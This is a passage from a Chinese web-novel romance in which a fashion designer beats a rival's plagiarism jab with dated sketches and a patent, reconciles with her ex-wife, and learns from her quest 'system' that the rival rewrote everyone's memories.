作为这场沙龙的发起人,南希正被一群年轻的设计师众星拱月般围在画廊正中央,笑得温柔大方。 裴苒向她看过来的时候,南希也同样看到了她,两人的目光隔着人群碰撞在一起,南希冲裴苒微微一笑,端着香槟杯款款走来。 “裴小姐,你来了。”南希的语气亲热得像是见到了失散多年的老友。 裴苒接过侍者递来的香槟,礼貌的抿了一口:“南希小姐亲自邀请,我肯定是要过来的。” 两人寒暄了几句,表面和气,暗地里都在打量对方。 裴苒注意到南希今天穿了一件米白色的真丝衬衫,领口的设计很别致,不对称的翻领,左侧比右侧宽了半寸,用一颗暗扣固定,翻折的弧度恰到好处地露出锁骨。 这个版型很眼熟,和自己年初的时候设计的一件衣服的款式几乎要一模一样。 裴苒盯着那件衣服,微微皱眉。南希注意到了她的目光,笑着解释,“这件衣服就是我本次沙龙会想要和大家展示的主款,看来你也很喜欢吧?” “嗯,款式是挺好看的。”但还有后半句裴苒没说,就是这件衣服设计的样式和自己设计的那件几乎一摸一样。 她有点拿不准南希的意思,是想拿这件衣服给自己一个下马威? 那她恐怕要失望了。 她习惯性做事留痕,尤其是注意保护自己的涉及版权,在这个大家普遍缺乏版权意识的时代,她每设计一件衣服就会把所有的证明全部带上申请专利。 虽然很麻烦,也需要额外花些冤枉钱,但能减少后续很多不必要的麻烦和纠纷,确保自己永远不会落入道德低点。 南希拍了拍手,示意大家安静。 “各位,今天我很荣幸能请到这么多优秀的设计师。趁这个机会,我想跟大家分享一件我最近刚完成的作品。” 她走到画廊角落的展示架旁,掀开一块藏蓝色的绒布,露出一件挂在架上的风衣。 这是一件卡其色的中长款风衣,经典的翻领设计,和她身上那件米白色的真丝衬衫是同一种设计。 裴苒端着香槟的手指微微收紧。 南希站在展示架旁边,语调从容,像是在课堂上做案例分享。 “我在设计这件衣服的时候就一直在想,女人的衣服不应该只是一块布,它应该兼顾美观,国内许多衣服都讲究对称美学,但我觉得,有时候不对称也是一种美。” 她说到这里,目光越过在场的几个设计师,最后落在裴苒身上,笑意依旧温柔,“说起来也挺巧的,上次看到裴小姐穿的那件外套,领口的处理方式和这件有异曲同工的地方。我当时还跟助理开玩笑说,这算不算是英雄所见略同。” 果然,该来的还是来了。 在场的都是行内人,谁都听得懂这话的弦外之音。 设计师之间最忌讳的就是“撞款”,更何况是撞在领口结构这种细节上,这已经不是巧合能解释的了。 几个离得近的设计师不自觉地放低了声音,目光若有若无地往裴苒这边飘。 南希这一招很是恶毒,没有直接说裴苒抄袭,但却让观众看着自己设计出来的衣服,然后对毫无作品傍身的裴苒进行恶意的想象。 如果是别人,可能真就被她这招给恶心住了。但可惜,她遇到的是裴苒。 裴苒放下香槟杯,杯底碰到大理石展台发出很轻的一声脆响。 “南希小姐这件风衣确实很精致。”她走近了几步,站在展示架前,认认真真地看了几秒,然后偏过头对所有人说:“不过这种领口的设计,我在年初的时候就做过相同版本。” 南希的笑容不变,但端着香槟杯的手指在杯柄上轻轻摩挲了一下,似乎有些紧张。 “是吗?”她歪了歪头,“不过我记得,裴小姐的工作室成立也才几个月吧,年初的时候,你应该还在接散单?” 裴苒说:“对,那时候工作室还没正式挂牌,但我已经在做自己的设计了。” 裴苒从包里掏出手机,翻了几页,把屏幕亮给在场的几个设计师看。 屏幕上是一张设计稿的扫描件,日期戳是今年二月。稿子上清清楚楚地画着一件风衣的领口结构分解图,标注了所用的材质、参数以及缝合方式。 和南希展示的那件风衣领口不能说很像,只能说一模一样。 “这个版本是我二月份画的,”裴苒把手机放在展台上,让所有人都能看到,“当时一共改了四版。 初版是年前画的,第二版改了袖子的弧度,第三版调整了肩宽,第四版加了这个领口的隐藏扣,每一版都有存档。” 她继续往后翻,是一张盖有红章的国家专利证书。 她把这张认证过的设计专利证书展示给所有人:“南希小姐,你刚才说,这件衣服是你最近刚完成的设计,但我的原稿在今年二月就画好了,第三版和第四版之间还隔了三个星期。” “需要我把邮件记录和打印店的出图记录都给你看吗?” 画廊里安静得能听见空调的嗡鸣。 南希脸上的笑容终于出现了一道细微的裂纹。 这件衣服当然不是她设计的,甚至她根本就不会设计,只是因为她熟读剧情,所以提前把这本书里一些未来会爆火的款式做了出来。但真让她亲自设计衣服,她简直一窍不通。 她没想到裴苒竟然敢在自己的地盘当众反驳,更没想到她竟然这么早就设计出了这种版型的衣服,还刚好和自己撞款。 眼下,裴苒连专利证书都整了出来,她再说下去,只会更加颜面尽失。好在底下有人主动打圆场。 “哎呀,灵感这东西,有时候就是会不约而同的撞到一起,说明裴小姐和南小姐确实是心有灵犀啊,以后请你们多多交流,为我们设计出更多款式新颖的衣服。” 说完,底下有人上道的捧场鼓掌,这场南希一个人的尴尬,总算这么有惊无险的被糊弄了过去。 裴苒把手机收起来,语气十分平淡:“灵感撞到一起是常有的事,不过还希望南小姐下次在设计衣服的时候注意,不要再和我撞上了。” “毕竟,我这人设计东西有个习惯,那就是存底图。” “上个月有家店照抄了我的旧版大衣,结果那版肩宽比定版窄了半 寸,穿起来勒胳膊,退货率差点把他们自己搞破产。” 她端起香槟杯,冲南希举了举,“祝你大卖。” 沙龙结束后,裴苒在画廊侧面的展板前看其他设计师的作品,身后忽然传来一个声音。 “裴小姐,冒昧打扰一下。” 她回过头,看见一个四十出头的女人站在她身后,戴着一副细框眼镜,手里端着一杯还没喝完的香槟。 裴苒记得她,刚才南希发难的时候,这位设计师从头到尾没有像其他人一样全程回避,而是饶有兴味地盯着裴苒手机上的设计稿看了很久。 女人伸出手,“裴小姐你好,我叫周敏,做女装生意。” 有客户主动对自己投来橄榄枝,裴苒也赶紧和她握了握手。 “我觉得你对于衣服领口的那个设计很有巧思,想和你认识一下。” 裴苒很高兴自己的设计有人欣赏:“谢谢,那个衣领的处理其实是我从我妈妈那里学来的,她是纺织厂的工人,以前给我改衣服的时候总说缝头留得太硬,穿久了硌人,所以我在设计的时候特意进行了软化。” 周敏点了点头,盯着裴苒的脸看了几秒,那个目光让裴苒觉得有点奇怪。 “那个,我脸上有什么东西吗?” 周敏这才意识到自己的眼神无意间冒犯了裴苒,赶紧解释道:“抱歉,只是你的设计风格还有你的人,都让我想起一个人。” 裴苒好奇地问:“谁?” “沈若华。” 这明明是裴苒第一次听到这个名字,但不知为何,却觉得这名字十分耳熟,让她很有好感。 周敏说:“她是一个很出名的设计师,二十年前国内独立设计师圈子还很小,沈若华是圈子里公认的天才。她的设计最大的特点就是在领口做结构性处理,是真正考虑客户舒适度的结构改良。” “那她现在呢?”裴苒追问,也很想认识一下对方口中的这位‘设计天才’。 “她已经去世了。”周敏的声音沉下来,“据说是一场意外,从楼上摔下来,当场死亡。” “她去世这件事,当时圈子里的人都觉得很惋惜,那会她刚生完孩子不久,正准备重回设计圈,没想竟然出了这种意外。” 裴苒脸上的表情也有些悲伤:“周老师,您说的这个沈若华,她的作品现在还能找到吗?” “不太好找,大部分资料都在她去世之后被人清理掉了,不过...”周敏掏出手机翻了翻,从相册里翻出一张老照片,递给裴苒,“这是当年一次行业展会上拍的,中间那个就是沈若华。” 裴苒接过手机,照片已经泛黄了,但画面还算清晰。 一个年轻女人站在展位前,面前摆着一排自己设计的衣服,正对着镜头笑。 她的眉眼很温柔,但温柔里带着一种不太属于那个年代的笃定和自信。裴苒盯着那张脸看了很久,总觉得这张脸莫名眼熟。尤其是眼睛。那双眼睛笑起来的时候,弯弯的弧度像月牙,简直就和她每天早上在镜子里看到的自己一模一样。 她不禁感叹了句:“这个世界的缘分真奇妙。”这个叫沈若华的设计师,不仅设计风格和她很像,就连长得也和她很像! 实在是太有缘分了! 裴苒忍不住想,如果对方现在还活着,应该也和自己的母亲差不多大吧,那她们一定会成为非常好的朋友! 28. 亲吻她的苒苒 裴苒把头靠在周漾的肩头,呼吸渐渐变得平缓起来。 她今天在沙龙上和南希斗了一下午,晚上又骑车赶过来照顾念念,早就累得连手指都不想动一下。 周漾的肩膀不算宽,甚至枕起来有些膈人,但不知道为什么,裴苒只要一靠近对方,就会感到一阵莫名的安心,就连对方衬衫布料上带着的淡淡的洗衣粉的味道,都仿佛带上了安神的作用,让她焦躁的心平静下来。 裴苒还记得,在她们还没有离婚的时候,每次自己坐在沙发上看书,周漾也这样坐在她旁边,任由她把所有体重全都压在她的身上。 那时候的周漾会一边翻文件一边低头蹭蹭她的头发,裴苒有时候嫌她太黏人,故意把脑袋挪开,周漾也不生气,隔一会儿又靠过来,像一只怎么赶也赶不走的哈巴狗。 那时候她以为她们会这样幸福美好的过一辈子,可后来.... 裴苒猛地从回忆中惊觉。 她忽然意识到自己竟然不知什么时候想起了这么多和周漾有关的记忆片段。 那些片段真实的就仿佛是她本人亲自经历的一般,让她再一次产生诡异的错觉,就好像,她才是这个世界的裴苒本人,根本不是什么攻略者。 不然为什么,她会对她们离婚之后的事情毫无印象,但却对离婚之前和周漾在一起时的点点滴滴都如此熟悉呢? 她很想问问小七这一切究竟是怎么回事,但她实在太困了,没有多余的力气去想其他事。 “周漾。”她闭着眼睛,有气无力的叫她的名字,感觉自己下一秒就要睡着了。 “嗯?”周漾温柔的回应着她,似乎也很享受这静谧美好的一刻。 想到今天对方在电话里对自己卑微请求和道歉的样子,裴苒的声音有些说不出的委屈,“你以后能不能不要再和我道歉了...” 女儿生病了,周漾为了让自己这个亲生母亲能过来陪护,竟然如此低声下气的恳求。 裴苒蛮不高兴道:“念念也是我的女儿,她生病了,你本来就该第一时间通知我,不管多晚,我都一定会来的。” 不管以前的自己究竟是怎么对待周漾和周念的,但现在的自己绝不可能像以前一样对她们娘俩不管不顾。 “周漾,你可以试着多给我一些信任。” 周漾没有说话,她的目光落在裴苒的头顶,总觉得此刻这个将头靠在她肩膀上的女人才是她真正的妻子,或许她们从未分开过,之前那个抛妻弃子的女人根本不是她,只是自己破产后产生的一丝幻觉。 她们实在很不一样,不一样到让周漾几乎不用怎么分辨就能轻易看出她们的区别。 “你真的是裴苒吗?”她的声音很轻,像是在问话,但裴苒太困了,所以没有听清。 怀疑的种子一旦种下,周漾便开始有意识的回忆自己和裴苒分开后的那段记忆。 可奇怪的是,无论她如何试图回忆具体的细节,那些痛苦的记忆就仿佛是狡猾的鱼儿,要从她的记忆海洋中游走。 周漾自认为记忆力很好,就算做不到过目不忘,也不可能对那些才发生过不久的事记忆如此模糊。 她曾经以为这是大脑给她进行的一种自我我保护。可此时此刻,当她尝试回忆那些记忆时,才发现那些记忆像是被人上了一层朦胧的细沙,空有其形,却无实质。 她终于意识到了什么不对,心中突然有一个大胆的猜测。 有没有一种可能,现在的裴苒,和那个‘抛妻弃子’的裴苒根本不是同一个人!不然该怎么解释,一个人的性格竟然能发生如此强烈的反差? 这个念头一起,周漾更是给自己找到了亲近对方的借口。 她不再压抑和克制自己的情感,几乎虔诚的用双手捧起她的脸,“苒苒,那如果不是念念需要你,而是我需要你,你也会风雨无阻的来帮我吗?” 裴苒虽然已经困的抬不起眼睛,但见周漾问的认真,还是语气坚定的回答道:“我会,我当然会。” 周漾:“那下周有个年度晚宴,要求带女伴,我没有女伴,你能陪我一起去吗?” 她承认自己足够卑鄙,趁着裴苒意识模糊快要睡着的时候轻声哄骗她陪自己参加晚宴,但假如对方清醒过来,她实在没有这个自信她会同意。 毕竟,她曾经,还对现在的裴苒说过那么多狠心的话。 “啊...”裴苒果然犹豫了:“是什么晚宴?”她主要担心自己前期的身份是否合适陪周漾一起参加,会不会给对方带来麻烦。 周漾说,“不是什么正式的场合,有点像年会性质,大家凑在一起吃吃饭,喝喝酒,聊聊天。以前这种局我都是带杨梅一起去的,但今年杨梅说她不想再陪我一起去了。” 比起陪周漾一起参加晚宴,裴苒更想知道杨助理为什么不想陪她参加晚宴,她好奇地问:“杨经理今年有事吗?” 周漾:“她说她每次陪我去参加这种活动,都会被她妈妈催婚,因为她妈妈以为她的女儿在给我当秘密情|人。” 哦,裴苒想,做京圈大佬的私人秘书,确实是会有这种困扰。这可真是个不折不扣的冷笑话。 “那好吧。”她假装不情不愿的同意了。 为了不让杨秘书的妈妈产生这种错误的误会,她决定牺牲自己,陪周漾参加晚宴。 “裴苒?”周漾轻声叫她,但是无人回应。 裴苒好像真的睡着了。 客厅的挂钟敲了一下,已经凌晨一点了。此刻,四周安静极了,只有窗外有风掠过梧桐树梢,带起一阵极轻的沙沙声。 周漾低头看着裴苒靠在她肩上的侧脸,感觉她似乎瘦了些,锁骨比之前更加明显,衣领边缘的皮肤上那颗曾被她无数次亲吻过的小痣若隐若现,十分诱人。 周漾没有立刻起身将她抱进房间,而是在听到裴苒的呼吸逐渐变得平缓而均匀之后,才弯下腰,一只手穿过裴苒的膝弯,另一只手托住她的后背,把她整个人横抱起来。 裴苒比她想象中还要更轻,抱在怀里时就好像是轻飘飘的气球,随时有可能被风吹跑一般。 < p>周漾忍不住想,她在工作室肯定又没有好好吃饭,明天早上一定要让王妈做些丰盛的早餐给她和念念好好补补。 被人抱在怀中的裴苒轻嘤了一声,脑袋下意识往周漾的颈窝里拱了拱。周漾赶紧收紧手臂,把裴苒抱得更稳了些,绕过茶几往自己的卧室走去。 周漾把裴苒小心的放在床上,裴苒的后背刚一碰到床垫,就自发的翻了个身,往枕头里拱了拱,找到了一个最舒服的姿势睡去。 还真是个天生会享受的命。 周漾站在床边有些好笑的看着她憨态可掬的睡颜,然后弯腰帮她把拖鞋脱掉,又把被子拉上来盖到她身上,将她额前的碎发轻轻拨到一边。 做完这些之后,她直起腰,转身准备离开。 还没走到门口,手腕就忽然被人抓住了。裴苒的力气不大,但抓得很紧。 周漾疑惑的转过头。 裴苒的眼睛依旧没有睁开,但她的手十分有力量,五根手指紧紧扣在她的手腕上,指节因为用力而微微泛白。 真可恶,按照原计划,她应该装睡,然后周漾把她抱进卧室里,然后在和她躺在一张床上,两人相拥而眠,共同收获一个美好的夜晚。 可是这位正人君子在干什么? 和前妻躺在一张床上让你感到很为难吗? “你...没睡着?”周漾的语气有点困惑,似乎不明白刚刚还困得要死的人,怎么现在力气又这么大。 裴苒还想装睡已然是不现实的了。 她偷偷睁开半支眼,俏皮的问周漾:“我们就不能一起睡吗?” 周漾楞了一下,大约是没想到裴苒竟然会提出这样的要求。 但当事人还觉得这十分公平:“我都答应你要陪你去参加晚宴了,在这里收点利息不过分吧?” 收利息? 谁来收? 她来收? 周漾目光晦涩的盯着自己被裴苒紧紧攥住的手腕,几乎没有犹豫的立刻掀开被子躺了进去。 下一秒,一只温热的大手将裴苒整个人捞进了怀里。感受到这极致的热源,裴苒几乎贪婪的向她靠近,祈求这对方身上滚烫的热度。 “周漾...” 她几乎不敢相信这一切是真的。 或许夜晚真的很容易让人迷醉和疯狂,这还是周漾第一次,在两个人都如此清醒的状态下和她做出如此亲密的举动。 她忍不住问她:“你是清醒的吗?” 这个问题简直可笑。 她当然清醒。 并且还清醒的可怕。 她清醒到,能够感受到裴苒温热的呼吸倾洒在自己敏感的脖颈,清醒到需要极力控制住情绪,才可能不至于当场将她狠狠压在身下欺负。 但她没有那么做,她知道裴苒今天已经很累了,经不起自己再折腾。 周漾深呼吸,慢慢让自己放松下来。 她低下头,嘴唇极轻地碰了碰裴苒的发顶。 “晚安,苒苒。” 是她的苒苒。 29. 我是不是根本不是攻略者? 早晨,裴苒被一缕透过窗帘缝隙漏进来的晨光照醒。 她迷迷糊糊地翻了个身,只觉得自己身下的床品格外舒服,不仅床垫十分柔软,床单和被套上还带着一股淡淡的薰衣草的味道,忍不住让人想把整个身体全部埋进去。 裴苒的脑子还没有完全清醒,一只手下意识地往前摸了一下。 下一秒,指尖被人捉住,一双修长白皙的手轻巧的将她的手抓紧,带着她摸向自己的胸口。裴苒感受到一片紧实温热的胸膛,伴随着呼吸声和心跳声,在她的掌心微微起伏。 她猛地睁开眼,然后才后知后觉的想起来,自己昨天是在周漾家过夜的! 不仅如此,昨晚似乎还是周漾把她抱进了卧室,最后,是她主动把对方拉进了被窝里,睡觉的时候,两人似乎还抱在了一起! 虽然只是单纯的拥抱,并没有发生其他什么出格的事,但对于两个已经离婚的人来说,这也太暧.昧了吧! 哦,天哪,她都做了什么! “醒了?”周漾的声音从头顶传过来,带着清晨刚醒时特有的低沉和沙哑。 裴苒的手指像被烫了一样缩回来,她噌地坐起来,被子从肩上滑落,凉意激得她一哆嗦。 她低头看了一眼自己的衣服,嗯,很完整,扣子一颗也没少。她又抬头看了一眼周漾。 周漾半靠在床头,睡衣领口被她刚才蹭得有点歪,露出一小截精致的锁骨,头发散在枕头上,看起来已经醒了有一会儿了。 “啊,你醒得好早。”裴苒有点心虚,不太敢看周漾的眼睛。 周漾:“你累了就多睡一会,昨晚已经很辛苦了” 似乎知道她在担心什么,周漾说:“念念已经退烧了,我早上去看过,现在王妈在照顾她,你不用担心。” 裴苒松了口气。 但随之而来的记忆却让她恨不得脚趾抓地。因为她想起昨晚自己是怎么靠在周漾的肩膀上装睡,又是怎么被她抱进卧室,在对方要走的时候拉住她的手腕,像一直八爪鱼一样手脚并用地缠上去... 啊,这也太丢人了!她到底为什么要这样!难道困倦也会让人失去理智吗! 她很想为自己找补:“我昨晚...” 但周漾却表现的根本不在乎:“你昨晚在沙发上睡着了,是我把你抱进来的。” 她看见她红扑扑的脸蛋,感觉到她在难为情,只觉得小妻子十分可爱,于是没有提她后来一系列在她看来十分可爱的行为。 裴苒把脸埋进被子里,不太想承认昨晚那个人是自己。她一定是因为太困了才会这样。一定是。 周漾的嘴角浮起一个很淡的弧度,伸手帮她把滑到肩膀下面的吊带拉了上来,拢住她裸露在外的肩头。手指在碰到裴苒锁骨那片皮肤时,她微微停了一瞬,自然的在她锁骨处的小痣上不着痕迹的摸索了两下,然后才收回手,动作自然得完全让人看不出是故意的。 客厅里忽然传来一阵急促的脚步声,紧接着门被从外面猛地推开,念念像一颗小炮弹一样冲进来,身上还穿着HelloKitty的睡衣,头发乱得像鸟窝。 “妈妈!”她大喊着,然后手脚并用地爬上床,精准地挤进两个人中间,小脑袋在裴苒怀里拱来拱去,“妈妈你还在!我还以为我昨晚烧糊涂了,在做梦呢!” 裴苒被她拱得往后仰了一下,周漾伸手在她后背轻轻扶了一把。 裴苒试了试女儿的额头,烧确实已经退了,就是脸蛋还有点苍白,不过那双漂亮的大眼睛亮晶晶的,精神头明显比昨晚好了太多。 “看来念念的病已经好了。” 周念本来想骄傲地宣布自己已经痊愈这个事实,但她忽然意识到,如果自己病好了,裴苒可能就要离开了,她又立刻换上一副委屈的表情,声音软下来,眼睛可怜巴巴地瞅着裴苒,“妈妈,我还是有点头晕,你今晚能不能再陪我睡?” 这小家伙。 裴苒一眼就看出她在装病,刚要开口说话,念念立刻像个小大人一样的补充道:“医生说了,生病的小朋友最需要妈妈的陪伴,妈妈陪我,我的病才会好得快!”她边说边把脑袋往裴苒怀里又拱了拱,像一只在努力撒娇寻求关爱的小奶猫。 裴苒有些犹豫的抬头看了周漾一眼,周漾的表情很平静,似乎在说:都听你的。 裴苒觉得经过昨天晚上那一遭,她和周漾的关系应该好转了许多,多住一晚应该也不碍事,于是捏了捏念念的小鼻子,说:“那好吧,妈妈今晚再陪你一晚。不过你要乖乖吃药,不许再让王妈追着你满屋子跑了。” “好耶!”念念高兴得差点从床上蹦起来,“妈妈,那你是不是要去买牙刷,还有毛巾,还有拖鞋,还有睡衣?念念要和妈妈穿亲子装!” 裴苒想说这些东西就让王妈帮她简单置办一下就行,毕竟她也不是常住,只是偶尔住一次,但周漾忽然开口:“不用买新的。” 她从床的另一侧起身,走到衣柜前拉开柜门。 衣柜最右边那扇门里面叠着几件叠得整整齐齐的睡衣,旁边还挂着一件浅灰色的睡袍,下面是一双毛绒拖鞋。 裴苒认得这件睡袍,好像是她和周漾还没有离婚的时候,她经常穿的那件。 她还以为周漾早就把和自己有关的所有东西全部扔掉了,但此时此刻,她却惊讶的看到,几乎她离开前的所有东西都还在这里。 它们平整,干净,没有一丝褶皱,差点要让她以为,主人每隔一段时间就会把它们拿出来洗一洗再晾干。 周漾从柜子里把那套旧睡衣和睡袍取出来,放在床尾,动作很轻,像是怕弄皱它们。 “你以前的东西,我都留着,最近才洗干净的,可以穿,不用买新的。”说完,她的耳廓有点微微泛红。 如果可以,她并不想让裴苒知道自己还一直保留着她以前留下来的这些东西,甚至每隔一段时间还会把这些衣物再清洗一下。 这样显得好像她很没档次,一 直没有忘记她一样。 虽然这是事实,但她不想让她知道。 王妈正好端着一碗热腾腾的小馄饨从厨房出来,听到这话忍不住插嘴:“可不是嘛,夫人,你出国前的那些东西,周小姐一样都没让我扔。我说这件睡袍放了好几年也不见穿,要不要收起来,她还不让,说你有可能随时会回来住,隔段时间还要拿出来洗一洗呢!” “王妈!”周漾的声音里带着一点不太有底气的警告意味。 “行行行,我不说了。”王妈端着馄饨往餐厅走,招呼他们快点下来吃饭。 餐厅里,念念已经自己爬到椅子上坐好,正有模有样地拿筷子夹馄饨。王妈在旁边一边擦手一边念叨:“小小姐,你可慢点吃别烫着了...” 周漾一个劲的给裴苒夹菜,直到她的碗里再也装不下,忍不住制止:“够了够了,这太多了,你拿我当猪喂呢?” 如果真的能把裴苒当猪喂胖一些就好了,她有些遗憾的说:“昨晚抱你的时候感觉你太瘦了,应该多吃一点。” 听到周漾又提昨晚的事,裴苒尴尬的不说话了,老老实实把她夹给自己的菜全部吃光光。 周漾自己吃的也不多,但看着小妻子努力进食的样子,心中只觉得一片温暖,光是看都要看饱了。 因为答应好周念今天要在家陪她,裴苒就打电话给宋青青,把原本要做的一些活往后推了推。 周念很懂事,也很早熟,有些紧张的问:“妈妈,念念是不是影响到你工作了,要不你还是回去吧?” 裴苒捏了捏她的小脸蛋说:“没关系,妈妈今天最大的工作就是陪着你,念念想玩什么?” 周念说:“我想玩跳舞机!就是以前我们一家三口经常在一起玩的那个!” 裴苒几乎立刻就回忆起自己和周漾还有周念一家三口玩跳舞机的画面,那些记忆如此真实,真实的就仿佛是她亲身经历的一般。 她想起自己昨晚的疑惑,于是在陪周念简单玩了两段节奏缓慢的音乐后,压低声音在脑海里叫了一声。“小七。” 小蜜蜂的淡金色光影从指尖浮起来,振动着翅膀落在她膝头,“苒苒,我在。” 系统现在竟然能直接幻化成虚拟实体出现,实在让裴苒很心虚。 她摸了摸小蜜蜂的头,仔细观察四周,似乎其他人并不能看见小七,这才放下心来。 “小七,我有事要问你。”裴苒的声音很轻,但语气和平时闲聊时完全不同。 “为什么我最近脑子里总是冒出以前的记忆?不是攻略任务的剧情,是我和周漾还要周念在一起时的记忆。” “我几乎不记得任何穿书之前的事,但离婚前,我和周漾还有念念在一起的每一幕,我都记得非常清楚。” 裴苒不是傻子,她心中早已有所猜测,但只是一直不太确定。小七是她信任的系统,所以她希望从它这里得到真实的回答。 “小七,我是不是,根本不是攻略者。” 30. 恭喜这对旧人正式同居! 裴苒的聪明程度远超小七的预料。 小七还想隐瞒,但看着裴苒那格外认真的眼神,连一句撒谎的话也说不出口了。 “小苒,你怎么会突然有这种想法?”小七的声音比平时轻了很多,明显有些心虚。它没有直截了当的否定裴苒的话,那就是确有其事。 裴苒一副果真如此的表情,她老早就感觉到不对劲,但因为小七作为系统一直都陪在自己身边,所以才压下了心底的那点怀疑。 这次,她其实也没有什么十足的证据能证明自己就是原本的裴苒,所以略施小计诈一下笨笨的小七,没想到对方还真招了。 裴苒虽然有些生气小七对自己的欺骗,但又觉得对方应该不会无缘无故欺骗自己,肯定还有原因在。 “说说吧,你为什么要骗我?” 此时,一家人已经吃完了早饭,王妈在厨房收拾碗筷,周漾陪着念念去书房看儿童绘本,只有裴苒一个人坐在沙发上假装在看电视,没人注意到她正在和小七进行‘脑电波交流’。 “小苒,我不是故意要骗你的。”小七的语气很着急,急得快哭了。 “都是因为南希。” 因为南希? 裴苒奇怪道:“她不这个世界里的白月光角色吗?” 小七的翅膀微微发颤:“南希根本就不是这个小世界的人,她才是真正的攻略者!” “三年前,她夺舍了你的身体,顶替你成为攻略者,想要攻略周漾。但她只坚持了两个星期不到就被周漾识破了。” “在周漾好感度跌落到最低之前,她修改了所有人的记忆,并且她耗光了所有积分,兑换了一次修改剧情的机会。” “至于什么卷钱跑路,什么被新金主包养,那些是她编的!从始至终就没有什么卷钱跑路。她只是改掉了周漾的记忆,让周漾以为你抛妻弃子,让所有人都以为你是个负心人。又给你灌了一段虚假的记忆,让你自以为是穿越来的攻略者。” 裴苒的手指慢慢攥紧,指甲掐进掌心,掐出一道道月牙形的白印。 “那,南希这个角色又是怎么回事?” 小七:“南希本来就是周漾的朋友,两个人是君子之交,根本没有感情线的,是这个外来攻略者为了给自己设立高光剧情,所以改了南希的剧情,让她成为在危难之时解救了周漾的白月光一样的存在,好进行后面的攻略。” 裴苒听明白了,“所以,我根本不是攻略者,这个南希才是真正的攻略者。” 原来从头到尾就没有什么背叛,周漾以为她抛妻弃子是假的,念念以为妈妈不爱她也是假的,她以为自己是个穿越来的攻略者更是假的。 所有痛苦的根源、以为错过的三年,都是一个攻略者任务失败后的强行挽尊。 裴苒很想现在就把一切真相告诉周漾,让她离那个南希远一点。小七似乎看出来她的意图,赶紧飞到她的手上拦住她:“小苒,这件事暂时还不能和周漾说。” 小七飞起来,与她平视,语气难得地郑重,“至少现在不能。” “为什么。” “因为南希还在。” “南希是二次攻略者,主神给了她更高的权限,如果她现在发现自己彻底失败了,她手里还有积分可以兑换最后的自毁程序,整个小世界的数据会被全部抹掉。周漾、念念、你爸妈、宋青青,他们所有人都会消失的!” 这个世界对主世界的人来说只是一个无关紧要的故事世界,毁灭了就毁灭了,可对于裴苒而言,这里是生她养她的地方,是她和周漾相爱生下念念的地方。 这里有她最在乎的家人和朋友,决不能轻易被毁掉! “难道就没有别的办法能阻止南希了吗?” “有,当然有。”小七的翅膀因为激动而微微发颤,这也是它想了很久才想出来的一个万全之策。 “周漾现在对南希的好感度是七十五,如果这个数字降到四十以下,主神就会判定南希的任务永久失败,强制把她从这个世界剥离出去,这个小世界也不会被毁掉,没有她在,周漾被篡改的记忆也会慢慢恢复。。” “我现在是南希的系统,我可以虚报给她周漾的好感度数字。” 从七十五降到四十以下。这意味着周漾必须彻底认清南希的真面目,不再把她当破产后的恩人,不再对她抱有尊重和感激,也不再给她任何靠近的机会。 但这一点很难。 毕竟现在南希还是周漾恩人一般的存在。 听到75这个好感度,裴苒有点破防了:“这个好感度是不是太高了点,周漾该不会真的喜欢她吧!” 这个臭东西,对自己的态度就冷冰冰的,还要她主动求抱抱才肯顺从,结果扭头对这个叫南希的女人好感度这么高! 她吃醋了!她真的要吃醋了! 小七擦汗:“嗐...毕竟在周漾的视角里,南希是在她嘴危难之际伸出援手的重要朋友嘛,总归是要特殊一点的。” 然而这话并不能让裴苒心情更好,她很不高兴的问小七:“那周漾现在对我的好感度是多少?” 小七查了一下周漾的好感度,很高兴的说:“小苒,有进步!比上次高多了,已经是87的好感度了!” 听到周漾对自己的好感度比对南希的高后,裴苒总算没那么生气了,但还是觉得很不高兴。 她一向是个很小气的人,只允许周漾心里有自己这一个特别的存在。现如今听到系统说南希在周洋的心里也很重要,实在是气不过,整张脸都气的快要鼓起来了。 小七拼命的用翅膀给她扇风降火,“消消气,消消气,小苒,周漾最爱的人是你,南希算个什么东西...” 更重要的是:“我们一定不能打草惊蛇啊,不然之前吃了那么多苦全都白吃啦!” “你还是要在南希面前继续装作什么都不知道,继续假装自己是攻略者。等周漾对南希的好感降下去,南希就会被强制剥离,到了那一天,所有被篡改的记忆都会复原的,我们的好日子就来了!” 裴苒勉强让自己消气,但脸上还是一脸的不高兴。 不知道是不是母女连心,周念拿着一本绘本从书房走了出来,小脸红扑扑地往她这边跑,嘴里喊着:“妈妈,轮到你给念念读绘本了!” 刚一跑过来,念念就吃惊的“咦!”了一声。 “妈妈你怎么了?”念念拉住她的手摇了摇,“你的脸怎么像河豚一样,鼓起来了?”边说,念念还边用小手戳了戳裴苒鼓鼓的脸颊。 裴苒蹲下来把念念搂进怀里,在她额头上亲了一口。“没事,妈妈只是在联系憋气。”虽然很生气,但想到女儿,她还是尽量克制住自己的脾气,不让对方看 出端倪。 不过,她的说辞能骗过周念,却骗不过周漾。哄完女儿之后,周漾小心翼翼的问裴苒:“你怎么了,看起来好像心情很不好?” 真奇怪,明明早上吃饭的时候心情还很好的样子,怎么才过了一会就突然脸色变得那样差? 难道是因为裴苒不想留下来住,但因为念念的原因被迫住在自己这里,所以不高兴了? 周漾小心翼翼的试探:“你是不是不方便住在这?” “要是你不愿意,你就回去也可以,念念这里有我就够了。” 原本裴苒已经在努力消化坏脾气了,但听到周漾这一番火上浇油的话,更是直接着火了。 这里原本就是她和周漾两个人的家,她想住多久就住多久,对方竟然还敢赶自己走?简直岂有此理! 想到这,她再也不压抑自己的情绪,直接扑向周漾,在她的锁骨处狠狠咬了一口。这一口,裴苒是下了死口的,几乎要把她这段时间以来受到的所有委屈全部发泄出来。 她根本没有抛妻弃子,她根本没有不爱周漾,也没有不爱念念。她是一个好妻子,更是一个好妈妈。 可现在,除了自己和小七知道这一点外,没有任何人知道这件事。所有人都把她当成是抛妻弃子的恶人,她心里真的很委屈。 周漾不知道裴苒为什么突然发难,她一开始被咬得有点痛,但还是伸出双手将她稳稳当当的接到自己怀中。 似乎有温热的泪水砸在她的颈间。 明明被咬的人是自己,可哭的人却是她脆弱的小妻子。 啊... 她真想知道自己究竟做错了什么,才惹得对方如此生气落泪。 但她实在嘴笨,除了将人紧紧抱在怀里,再也找不出第二种安慰的方式。 或许以前她们还在一起的时候,在床上,也会有第二种安慰的方式,但似乎此刻这样做并不是时候。 王妈从厨房出来,看了一眼这画面,感慨道:“夫人可真是活泼啊,一回来,这个家总算又热闹起来了。” 裴苒有些羞恼的从周漾怀里钻出来,看见她锁骨处殷红的咬痕,不仅不愧疚,反而很是得意自己的杰作。 这是她留在她身上的印记,证明这人是她的。 